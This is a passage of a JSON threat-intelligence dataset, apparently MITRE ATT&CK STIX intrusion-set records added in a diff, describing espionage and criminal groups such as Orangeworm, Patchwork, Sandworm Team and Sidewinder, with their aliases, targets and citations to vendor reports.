"intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Orangeworm", + "x_mitre_version": "1.1", + "modified": "2021-10-26T22:29:09.327Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Orangeworm" + ], + "id": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018)", + "x_mitre_contributors": [ + "Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre" + ], + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0071", + "external_id": "G0071", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Orangeworm April 2018)", + "source_name": "Orangeworm" + }, + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PLATINUM", + "x_mitre_version": "1.3", + "modified": "2021-04-22T00:39:49.529Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "PLATINUM" + ], + "id": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0068", + "external_id": "G0068", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Microsoft PLATINUM April 2016)", + "source_name": "PLATINUM" + }, + { + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PROMETHIUM", + "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)", + "x_mitre_version": "2.0", + "modified": "2020-10-22T18:12:48.893Z", + "aliases": [ + "PROMETHIUM", + "StrongPity" + ], + "created": "2018-01-16T16:13:52.465Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0056", + "external_id": "G0056", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "source_name": "PROMETHIUM" + }, + { + "description": "The name StrongPity has also been used to describe the group and the malware used by the group.(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)", + "source_name": "StrongPity" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21" + }, + { + "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", + "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", + "source_name": "Talos Promethium June 2020" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", + "source_name": "Bitdefender StrongPity June 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Patchwork", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)", + "x_mitre_version": "1.4", + "modified": "2021-11-02T21:07:07.755Z", + "aliases": [ + "Patchwork", + "Hangover Group", + "Dropping Elephant", + "Chinastrats", + "MONSOON", + "Operation Hangover" + ], + "created": "2017-05-31T21:32:07.145Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0040", + "external_id": "G0040", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)", + "source_name": "Patchwork" + }, + { + "description": "Patchwork and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)", + "source_name": "Hangover Group" + }, + { + "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)", + "source_name": "Dropping Elephant" + }, + { + "description": "(Citation: Securelist Dropping Elephant)", + "source_name": "Chinastrats" + }, + { + "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)", + "source_name": "MONSOON" + }, + { + "description": "It is believed that the actors behind Patchwork are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)", + "source_name": "Operation Hangover" + }, + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "Symantec Patchwork", + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018" + }, + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + }, + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + }, + { + "source_name": "Operation Hangover May 2013", + "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.", + "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PittyTiger", + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)", + "x_mitre_version": "1.2", + "modified": "2021-10-12T23:11:41.368Z", + "aliases": [ + "PittyTiger" + ], + "created": "2017-05-31T21:31:50.198Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0011", + "url": "https://attack.mitre.org/groups/G0011" + }, + { + "description": "(Citation: Bizeul 2014) (Citation: Villeneuve 2014)", + "source_name": "PittyTiger" + }, + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/" + }, + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Poseidon Group", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)", + "x_mitre_version": "1.1", + "modified": "2020-03-18T20:25:54.945Z", + "aliases": [ + "Poseidon Group" + ], + "created": "2017-05-31T21:32:04.179Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0033", + "external_id": "G0033", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky Poseidon Group)", + "source_name": "Poseidon Group" + }, + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Putter Panda", + "description": "[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:15:04.771Z", + "aliases": [ + "Putter Panda", + "APT2", + "MSUpdater" + ], + "created": "2017-05-31T21:31:56.785Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0024", + "external_id": "G0024", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)", + "source_name": "Putter Panda" + }, + { + "description": "(Citation: Cylance Putter Panda)", + "source_name": "APT2" + }, + { + "description": "(Citation: CrowdStrike Putter Panda)", + "source_name": "MSUpdater" + }, + { + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda" + }, + { + "source_name": "Cylance Putter Panda", + "description": "Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved January 22, 2016.", + "url": "http://blog.cylance.com/puttering-into-the-future" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RTM", + "x_mitre_version": "1.1", + "modified": "2020-05-12T22:16:44.650Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "RTM" + ], + "id": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "description": "[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "created": "2017-05-31T21:32:10.206Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0048", + "external_id": "G0048", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET RTM Feb 2017)", + "source_name": "RTM" + }, + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Rancor", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)", + "x_mitre_version": "1.2", + "modified": "2020-03-30T19:15:49.217Z", + "aliases": [ + "Rancor" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0075", + "external_id": "G0075", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Rancor Unit42 June 2018)", + "source_name": "Rancor" + }, + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Rocke", + "description": "[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)", + "x_mitre_version": "1.0", + "modified": "2020-06-19T20:41:21.215Z", + "aliases": [ + "Rocke" + ], + "created": "2020-05-26T14:20:20.623Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0106", + "external_id": "G0106", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", + "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020.", + "source_name": "Talos Rocke August 2018" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sandworm Team", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", + "x_mitre_version": "2.1", + "modified": "2021-10-15T21:46:19.437Z", + "aliases": [ + "Sandworm Team", + "ELECTRUM", + "Telebots", + "IRON VIKING", + "BlackEnergy (Group)", + "Quedagh", + "VOODOO BEAR" + ], + "created": "2017-05-31T21:32:04.588Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0034", + "external_id": "G0034", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "Sandworm Team" + }, + { + "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "ELECTRUM" + }, + { + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "Telebots" + }, + { + "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "IRON VIKING" + }, + { + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "BlackEnergy (Group)" + }, + { + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "Quedagh" + }, + { + "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", + "source_name": "VOODOO BEAR" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", + "source_name": "US District Court Indictment GRU Unit 74455 October 2020" + }, + { + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", + "source_name": "UK NCSC Olympic Attacks October 2020" + }, + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "CrowdStrike VOODOO BEAR", + "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + }, + { + "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html", + "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.", + "source_name": "USDOJ Sandworm Feb 2020" + }, + { + "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory", + "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", + "source_name": "NCSC Sandworm Feb 2020" + }, + { + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "source_name": "US District Court Indictment GRU Oct 2018" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "source_name": "InfoSecurity Sandworm Oct 2014", + "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", + "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + }, + { + "url": "https://www.dragos.com/resource/electrum/", + "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", + "source_name": "Dragos ELECTRUM" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/iron-viking", + "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", + "source_name": "Secureworks IRON VIKING " + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scarlet Mimic", + "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", + "x_mitre_version": "1.2", + "modified": "2020-03-30T19:16:53.144Z", + "aliases": [ + "Scarlet Mimic" + ], + "created": "2017-05-31T21:32:00.677Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0029", + "external_id": "G0029", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Scarlet Mimic Jan 2016)", + "source_name": "Scarlet Mimic" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Sharpshooter", + "description": "Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)", + "x_mitre_version": "1.0", + "modified": "2020-06-30T03:08:44.808Z", + "aliases": [ + "Sharpshooter" + ], + "created": "2020-05-14T21:40:31.089Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--5e78ae92-3ffd-4b16-bf62-e798529d73f1", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0104", + "external_id": "G0104", + "source_name": "mitre-attack" + }, + { + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", + "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", + "source_name": "McAfee Sharpshooter December 2018" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sidewinder", + "x_mitre_version": "1.0", + "modified": "2021-04-21T12:32:46.791Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Sidewinder", + "T-APT-04", + "Rattlesnake" + ], + "id": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)", + "x_mitre_contributors": [ + "Lacework Labs", + "Daniyal Naeem, BT Security" + ], + "created": "2021-01-27T15:57:11.183Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0121", + "external_id": "G0121", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cyble Sidewinder September 2020)", + "source_name": "T-APT-04" + }, + { + "description": "(Citation: Cyble Sidewinder September 2020)", + "source_name": "Rattlesnake" + }, + { + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.", + "source_name": "ATT Sidewinder January 2021" + }, + { + "url": "https://securelist.com/apt-trends-report-q1-2018/85280/", + "description": "Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021.", + "source_name": "Securelist APT Trends April 2018" + }, + { + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.", + "source_name": "Cyble Sidewinder September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Silence", + "x_mitre_version": "2.1", + "modified": "2021-05-26T19:54:55.580Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Silence", + "WHISPER SPIDER" + ], + "id": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, 